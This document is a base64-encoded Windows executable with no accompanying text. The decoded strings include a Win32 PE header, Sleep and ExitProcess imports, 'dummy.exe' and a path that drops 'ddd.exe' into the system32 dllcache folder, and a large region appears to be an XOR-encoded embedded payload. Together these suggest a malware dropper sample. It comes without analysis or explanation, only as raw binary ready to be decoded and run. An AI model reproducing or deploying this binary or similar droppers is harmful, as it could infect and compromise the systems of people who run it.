kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR1hqb33x93708lVm8HD3/ GrkdfN09Grn933zdvR+VF1SXGts9vR093xq5/d982x3311S+vt6RfFz/fBw9VJw8PZG93z0d Gn/8//29HFQ/nx2Re3h42TlU/P29kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR kZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkTyflpFUPZ49kVT//d+RVJ+8XZFU3b0fkZGR kZGRkZGRkZGRkVQfnh+RVJwfPJFUnB88HJFUf73dkVQdfP2RVJ4c/5FU3J99kVT9n5+RVP2R VJ+9/5FUPJ99kVQ8nz19kVTdvfyRVDyf95GRkft8XR9/vd89Gji8/d98/3xdHxp7vFwdfH// Gvk/3989XB9bPd//vHxcGpG5n5+Vm70fnP+R2z9ckds/XHhc/T2R+77/Hz08Gvk/3989XB/5 fFwf33wc+z0fGvs931+8/T3/kft8XR9/vd89Gji8/d98/3xdHxp7udkae7nZFxp7vd2VWbwc PZVYvTw9kds/XPs931+8/T3/kbhcHz3fXD0flfs9Hx+8XH3/Gvm9/Zw9Gpu9H5z/kZGRkZGR kZGYvBSRmD0cHHwUkds91pFZf9aRO1wdPRy8Xz3fvd0cPZU8vbwcNDTVNf/Vkds9Hz/fXD0d lTy9vBw0NNU1/9WRkZGRkb2VNf+VNf+Vfb08PZG9lTX/lTX/lR98fByRvZU1/5U1/5V/Pd3/ vB89kb2VNf+VNf+Vn70f/ZyRNf+V3z08fF+9HJUffHwc/5GRkZGRkZGRXD1/kV0/XFy+kVy8 /T2RnD88fD/fkT2e/bwfPZF9fHwdkZ98f10/HJF7vFyam5G4OZVXVJeRe/fXVDkc/D3fXJWR e/fXVPgcPd6RkZx8f5W93z2Vvnw/kRw9H3X/ld09lV3fvD1cHf+RHb3fHLxcfZEdfFx1H5Ud 37xc/JUffHyVPD/9nJG+fD/flZ+9//9/fN8dkZx8XD2+kf98PD2Vvz89/x+8fFz/kZ8cPb3/ PZUf376VvX29vFyRfz0c/Xw8PZUffJU8vpWcfDw9H3x/XJEfnD2Veb3fHT1clXxdlTkdPVyR vFwf33wdP/0fvHxclXxclbkZ+xiRPD09H7xcfZVcfB+8/T2Rvz89/x+8fFxcvbzfPZH9fFx9 370fPxy9H7x8XP+R/3z/tZHcvZ+9XD3/PZV9vN8clVv7lZ8cvb7dfL6RHHx8/BQ8vpXdPb0/ H7xdPxyVfbzfHJVd37w9XB2RPb19Pd+VH3yV/z09lb58P5H/n7z9PZV9vN8c/3WVX3z9vRyV /Xxc/T3fH5HcvZ+9XD3/PZUcvf//dZX/PZ6+lZ+8/R8/3z3/kZGRkZGRkZH7vjy9XB89/ZE4 /b1dPT2RWTT7Pf0/3z2R+3yfnHz/kZGRkZFZ33w81pWRG3zWlZH7P93cPf0f1pWRkZEbnD2V XXwcHHx/vFx9lTy9vByV/b1cdR+V3T2V/z1cH5UffJU1/9aRG5w9lb0fH739nDw9XB+RG5w9 lV28HD2Rlbz/lR+cPZV837x9vFy9HJU8vbwckZV9vF89lb58P5UfnD2VNf+Rlbz/lb2VNf+V Hb1cfT3ffD//lV+83z//lR+cvR+VNf+R/b1clbxcXT39H5V8XJV7vFy2lnQ4PXTXl5eXdJqb VJH/n989vR2VH5zffD99nJU9PL28HFSRXz3fvpWR/589/by9HJWRnB8fn9Z0dJF/f39UkVT9 fDyRWXzflTx83z2VvFxdfN88vR+8fFwUnxw9vf89lV+8/7wflZEbnLz/lbz/lZG4lTX/lb58 P5V/fD8cHZU1/5W8H1SRPVzcfL6RHLz8PZF/vP+ckZx8nz2RPZ6fPf0fkZH5nN+8/x88vf+R WD1/lb49vd+R+728XB+VW70cPVwfvFw9df+VGb2+kbkcHJy9HBx8fzy9/5G5n9+8HJVZfHwc /3WVGb2+kRi9Hb6VGb2+kbn//z88nx+8fFyR+b1cHRw9PL3/kbkcHJX7fD8c/3UZvb6ROZ+8 n5y9XL6RkZGRkZi9n5++lZGYvV89lb2VkZEW3d9WMNCRMNCRn3z/Hzy9/x8935GRkXu8XPyR kbg8vX09m70fnJE4uDg5NFs93/+8fFzWlbdUlzDQ+XxcHz1cHzQbvp891pU8PxwfvJ+93x90 vRwfPd9cvR+8Xz32MNCw3Xw/XB293742kfl8XB89XB80G76fPdaVHz2eH3ScHzwc9jDQ+Xxc Hz1cHzQb371c/1093zQ5XP18HbxcfdaVvz98Hz0dNJ/fvFwfvd0cPTDQMNAWmBs4GFYWmDm5 GVYWdJg5uRlWFtl4GbpWNf8w0BZZeFgbVpGRFnRZeFgbVhZ02XgZulYWdJgbOBhWkZGR+Xxc Hz1cHzQbvp891pU1//Yw0LBcvTw9NjX/MND5fFwfPVwfNBvfvVz/XT3fNDlc/XwdvFx91pXd vf89Vxcw0Pl8XB89XB80uBnWlRY1/1aRkZGRkZGRkZGRvT8dvHx0njR/vV+RvT8dvHx0njQ8 vB28kb2fnxy8/b0fvHxcdHz9Hz0fNP8f3z29PJGRkZGRkZGRkTDQFrxd3708PZX/3/029xn9 vB3WNf+VnD28fZwfNvcZl5V/vB0fnDb3GZdWMNAWdLxd3708PVaRG5y8/5V9vTw9lbz/lTy+ lV283/8flX983/xUFt3fVjDQunw/dd89lR+cPZVdvN//H5WfHL2+Pd9UkXi4+buRm998fd+9 PFm8HD3/GbzfkZGRkf88H59UkXq5W5v315F6uVub+fmRWHgZ99eRWJv7+1v5kVjbOfu799eR WPv5mDkZ99eRWPv5mDkZWBuRWPubGDt5uFiRWLlbkVi5W7mb+1v5kVi5W7mbe/fXkVi5Wxg7 99eRWLlb2ztY25FYuVt799eRerlbmziRuRg52xv7W/mRuTh4WJG5W5v315G5W5v5+ZG5W5s4 kVj31/v5uVh7kVi5W3tYG5G5WBu4W7jbkblbmzubGZG5W3n5G9sYkblbe7hYtjeR+/m5WPfX kVv7mHu4WPfXkVk0+xt4m3uRWTSb23gbtjeRufn4e7hY99eRWzkbG9u5upFbORu2N5H7ezk5 m7Y3kZv5+Xu4WLaWkbh4OHhYtpaRuVubG/mRuVs599eRuVv5eFj7eBiRWZs0e7hYkRlbm7Y3 kVk0uXlYG7Y3kfkYuXu2N5FYW/m2N5H7+blYkVu42zv7kRh4+fgZeHtY15eXl5FYfN8ffFyR OP29XT09kblcH7xfvN+RG7n7+Dh525GRkZGRkZGRkZGRkZGRkZGRkZG5WBu4NFu421QZuRuR +Zj4GLj7G1QZuRuR+Zj4GLj7G1Q4+5H5mPgYuPsbVPmb+5H5mPgYuPsbVBu5W5G4W9lUWBva kfs4udsb+Zj4VDj7kfs4udsb+Zj4VPmb+5G5W3m7G1QZuRuRuXk7udsZVBm5G5GRkZGRkZH7 nBx/vZ+8VB0cHJH4Pd9cPRz311QdHByRXD0fvZ+899dUHRwckf9d/VQdHByRkZGRkfu83/29 PJFYvDwdvZH5fB092z0dkXu7+Dg495Z3lpF527g5WfeWd5aRWT9clRh8X7xcfZX537w8vFy9 HJFYfN8ffFyROP29XT09kblcH7xfvN+RuV/9fFz/fByRWTT7G3ibe5FZNPs9/T/fPZH7fJ+c fP+RX7zfP/+RuVublTh8XLwffN+RuVublTufHb0fPf+RuFx8/T8cvR89uBuRm/k0/bwcHLxc kfu+PL1cHz39kRvfPVwdlTi8/d98kVk0m9t4G5GVWHgZ99eVkZGR2z19vP8fPd/7Pd9fvP09 m998/T3//5FYPR/7nL3fPbkdHZH7mBk9HD0fPfg9vrmR+139uP9ZvBw9m998Hz39Hz0dkVg9 H/ucvd89eT0fuFxdfJFYPR+5n7zZP11dPd9Z3z09kZGRkZE5mpsYeNs525H5ODh525E8/7w8 XJG8/X/9fFxckX+8XN68n5GRkZGRm998fd+9PJE1/5UWNf9WkbnZ+Rk5WXmYuNj4GDhYeJu7 2/sbO1t7mrravd39HT1dfZy83PwcPFx8n7/f/x8/X3+evt6Xt9f3FzdXd5a29HSR/z0fP5+R vFz/H70cHJEdPTx8kf9cfHyfvpGfvP29/T+R/LwfH76Rnxy9vpHffP38kZGRkZGRkZHbvd+1 0nGRaIP/kZEwkZGRkZGRkZGRVN+935GRf7xcvFw9H1QdHByRuFwfPd9cPR95PR/5fFxcPf0f PR37H70fPZGRkRm83z39H3zfvpEdHBz9vf2cPZGR+z0ZPd0/fZvfvF+8HD19PZH7PRv93Zvf vF+8HD19PZGRkZGRkZGRkX9d/VT9fDxUH3+RkTDQe7xc99eV+Bw93pVb11SXlVWVe7xc99eV ORz8Pd9clVu3VLcUlBucPd89lVy8/fyVXL08PZW8/5Ubf7xclVu83z//1Fp6elrUtDDQ+Xyf vt+8fZwfFDy9HT2VvFyVuf+8vRS9XFx8P1z9PTw9XB/WMNC3VLiVf7wcHJUf376VPL6V3T3/ H5UffJWf33wfPf0flR+cPZU//z3flV3ffDyV/3w8PZVfvP28fD//lV+83z//FFk/XBx8Xz0U +7zf/b08FFi8PB29FPl8HT3bPR2VvVwdlT1fPVyVvFz9HD8dPZV799dU+Bw93pW3VJpUMNDX VHs9HByVn728HZXcfN3/lb3fPZV/vVwfPR0w0PdUm3x835UcvF09lf+cfD8cHZXdPZU/XN0c Pf//PR0w0BdUGXxcdR+Vvf39P/89lTw9VJscPb3/PZW9/f0//z2VH5w9lT9cXb2835X/nLwf lX983xwdMNCRkZGRkZEBAAAAEQAAABsAAAAiAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAA pQEAAFMAAAAOAgAADgAAADYCAAAOAAAAXgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAYxgAAJ4BAAAMGgAA9AEAAGkqAAAUAQAA5CsAAJwEAABNWlAA AgAAAAQADwD//wAAuAAAAAAAAABAABoBAAC6EAAOH7QJzSG4AUzNIZCQVGhpcyBwcm9ncmFt IG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyDQokN1BFAABMAQQAnSsEiAAAAAAAAAAA4ACOgQsB AhkAAgAAABQAAAAAAAAIQgAAAEAAAAAgAAAAAEAAABAAAAACAAABAAAAAAAAAAMACgAAAAAA AGAAAAAEAAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQAAAAAAAAEDAAAGRAAAAQQ09ERQAAAAAA EAAAABAAAAACAAAABiAAAGBEQVRBAAAAAAAQAAAAIAAAABAAAAAIQAAAwC5pZGF0YQAAABAA AAAwAAAAAgAAABhAAADALnJlbG9jAAAAFAAAAEAAAIASAAAAGmAAAPBoyAAAAOgHAAAAagDo BgAAAP8lNDBAAP8lODBAKDBAMAAANDBOMAAAVjAAAAAAAABOMAAAVjAAAAAAAABLRVJORUwz Mi5kbGwAAAAAU2xlZXAAAABFeGl0UHJvY2VzcxAAABAAAAATMBkwyEQAALgCV1HoNgAAAB+Y a5DKU4MISyh1Rlef2v4SM5FrOi7HptQsuhnLPq0xaZZESKk6gr+YOnBZEL0UAaCKzrFKkF38 YI11U2a6VgL8ig6A8UHAweeA8XyIDkZmSnXu3yqYrDNI6DlRp75B8em7Ual7PKG5ubm5uaJT ThW+MtUZuEOHmKey8Lm5uROisrC7ubkZcUbbcar7rgHx0bp+ubm5Rro+ubm7uXW6zyMNU16u P8G/PnW6yRkzU3ZUOZf5UXquOUm/Pq4Zob8eus0vMx0lUya6TbEzId/dUzRxprsLC65Z+b9e rtW/Xt8cbYULG88ZiQtRyRs9GWh8ubm5bYULosJKu7m5Qlx15glTfB0trknxv06n1pEXrkmB v06ukZa/HqqQok67ubkNC3w6CQVtOWm5mbm5zqDBubnouFG/On6/H225RpI/vbm5oqJdu7m5 GxmWohuz7x29QN842Gju3zjs2M+n1iVA7yiuBUi/WLhyh17wrl6vVFGtv1yuJUCuBUhubg8f ot5Jvbm5rkR1yq6v4NE7ODh20UHsfFKoI6eoI52oI5M0M4dIuj6svbm5Rn5oubm5uQnjzD+5 ubO5mbm5Rnhoubm5uQmiuBZERkYZrjHxmaa4yLm5ud84Ph1tRg1A4K04UZHdGNipGmxftbpc /77JYkQoU1xudpwNPlF+ImhIiCumOK8sN+M/5VH71y4SM4qWKfDV6PxKlBwGCmv/JKLMTxaj aT4mHxpJNQUePXXk2OZFApBq0yRBdldC8nZXCLNoV5zldle0MHZXn8J0V7m5ubmK+HZXqZV0 V344dFdAsXZXhAN2V3cFdlfspHZXjVN2V3SPdFecu3ZXuqB2V62IdlfX6HZXlld2V1UjdleY GXZX7iF2V5S/dld/S3ZXfMF2V427dldmnnZX1+B2V7m4ubm5ubm5ubmIRwAAuAIAALm5ublJ Rp25vmLVrjNWAxMZqjPXRpKhvbm5rzhT/6LCJ6O5ud9UN6fUp37BF0aSqb25ua84U52iguqj ubnPTl+pCVQwOVMDbn1oh7G5uTen1Kd+HBkXGUaSsb25uaqw0r+lubkJNW56CXk7aCG5ubl7 quL/pbm5VDC4UZk7GysbRpKJvbm5E2hZu7m5ERsTooJFsbm5HxsbRpJRvbm5VDPJOVG3Dw97 OTyhuVQzybgPpjHxgXtTvUZ4PJm5G2mxu7m5otLNgbm5FUaS6b25uRW2VmiUv7m5yAEXW2/u NLLWv7m5u2ikv7m5yOVzSXNTocjlcWFhNLLWv7m5ve7fOOwFC37vVDPJOVPzeWh5sbm5qXtp ubG5uaLC96W5uRcZRpKBvbm5bbkVF0aSkb25uXloz7G5ubt7FQdoy7+5uVEPabG7ubkXbbtt uWixubm5FxsvuRkRaOW5ubkfZ3VRV3tdcwEja39dZ19ndVEBF2tlcWdXXwE/U11dc2VRFXNd X2tnZQEdU2W5ab25ubhGkr+lublGkrelublueWmxu7m5aCi9ubm+ZrcXbbttuWijubm5O1lZ K2VrUQcxISFfuRkRaDxGRkYfZ3VRV3tdcwEja39dZ19ndVEBF2tlcWdXX/klEQE/U11dc2VR FXNdX2tnZQEXa2VxZ1dfuT4DA0C6YLG7ubk0sh+zubnANrIqs7m5tkZGRqwjyVQ6OFGbNLIf s7m5uTayKrO5uT9GRkauUq7C/6W5uVQ6uFGBaLmrubmuMu82uHy3uDyxp9Qcaxw1hbm5zxhX r89WU1VUOjlRvW6ByjWFubmiwaVe8BEbFaKERbG5uR8bG0aSUb25uWjCqbm5VDypUYVUPLFR PWjIubm5otHxabG7ubkVRpLpvbm5aCy5ublohrm5uWiYqbm5dbpMScmnsEhKAAC4AgAA7Lm5 uWjUu7m5UbVUM8k4UbffOGjeu7m5bsBoUbm5uaLB8Wmxu7m5F225RpKBvbm5aLi7ublC2kbY AVzkQDQ3u7loX7m5uWgpubm5aMupubmn1DzKjbm5uVRap9QQujx7zbm5qpHxrkoRRpLxvbm5 ribBv12rwbFXs2jPubm5rLHxRDjBTVW92HuosfF8CGo/RkZGBRFGkvm9ubm4QfG1o1OTrDHx vcG/UbHBq1OrNLKetbm5OW6QRnR5olHx8Wh8ubm5aGK5ubnIAe3l7e7fOO66YDm7ubmi0s2B ubkRFUaS4b25uTmnsNq5ubkpGVYx8bG5l7m5U3+i0PFpu7m5aPq5ubkXaO65ubnKsbu5udgB 7KJR8dGutV7wBVYY6uXlublR13Xq5blR21Yx8bGZubm5UYnKsbu5ue96rkBe8GhTRkZGujCx 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 U11/czu5FyVzUT9hZ19zM2VTY7m5X3V/uR91fytfNWthcxldZ1Fzf1Fzcbm5uRNoubm5uQMb vyMVU69GkmdQRkauKLgquxu/Mx1TtUaSZ1BGRgvfHB4oVlq/PB44vxi0LB48vxqqExWqMx0L Az7GBSoQQAAzvnMtQAC9CBBAAOie6v//gL0IEEAAvn0tQADoSer//2oA6DUAAABkdW1teS5l eGUAZTpcd2luZG93c1xTeVN0ZW0zMlxkTGxjYWNoZVxkZGQuZXhlAP8lTEBAAP8lVEBAAAAA YTpcAHgAAAAuZGxsAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAGqeQAACAAAAAQIECAAA AACkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAA waPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsA AAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAA AAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAAAAC6EUEAuhFBAAAAIAAgACAAIAAgACAAIAAgACAA KAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAA EAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAA EAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEA AQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA AgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAEAAAAuAAAAAQAAANTSQADE0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAA AAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAAAAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8A AMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEAAMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAA AAAAAAMAAAAHAAAACgAAAIwAAAD/////AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIA AABA1UAACAAAABTVQAAJAAAA6NRAAAoAAADE1EAAEAAAAJjUQAARAAAAaNRAABIAAABE1EAA EwAAABjUQAAYAAAA4NNAABkAAAC400AAGgAAAIDTQAAbAAAASNNAABwAAAAg00AAeAAAABDT QAB5AAAAANNAAHoAAADw0kAA/AAAAOzSQAD/AAAA3NJAAAAAAAAAAAAAgCBJAAAAAACAIEkA AQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEHAQABBwEAAQcBAAEHAQABBwEAA QcBAAAAAAAAAAAAA+AMAAAAAAAAAAAAAAAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQA AAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAA CwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIA AAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAA DQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYA AAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAA ngAAAA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsA AAAYBwAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 